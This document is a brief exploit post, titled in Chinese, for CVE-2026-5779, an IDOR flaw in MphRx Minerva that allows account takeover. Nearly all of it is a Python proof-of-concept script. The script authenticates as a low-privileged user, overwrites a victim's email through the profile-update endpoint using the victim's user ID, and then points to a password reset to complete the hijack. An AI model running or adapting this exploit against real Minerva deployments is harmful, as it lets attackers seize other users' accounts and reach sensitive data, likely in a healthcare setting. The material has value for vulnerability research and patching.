CVE-2026-5779 MphRx Minerva IDOR漏洞致账户接管

import requests # Configuration target_host = "https://target-minerva-server.com" login_endpoint = "/minerva/login" update_endpoint = "/minerva/user/updateUserProfile" # Attacker credentials username = "attacker_user" password = "attacker_pass" # Victim details victim_user_id = "1002" # The ID of the target user to hijack new_email = "[email protected]" # 1. Authenticate as low-privileged user session = requests.Session() login_payload = {"username": username, "password": password} session.post(target_host + login_endpoint, json=login_payload) # 2. Exploit IDOR to update victim's profile # Vulnerable endpoint assumes the session user owns the victim_user_id update_payload = { "userId": victim_user_id, "email": new_email, "firstName": "Hacked" # Other profile fields may be required } response = session.post(target_host + update_endpoint, json=update_payload) if response.status_code == 200: print(f"[+] Success: Victim profile updated. Email changed to {new_email}") print("[+] Next step: Initiate password reset via /webconnect/#/forgotPassword") else: print(f"[-] Failed. Status: {response.status_code}, Response: {response.text}")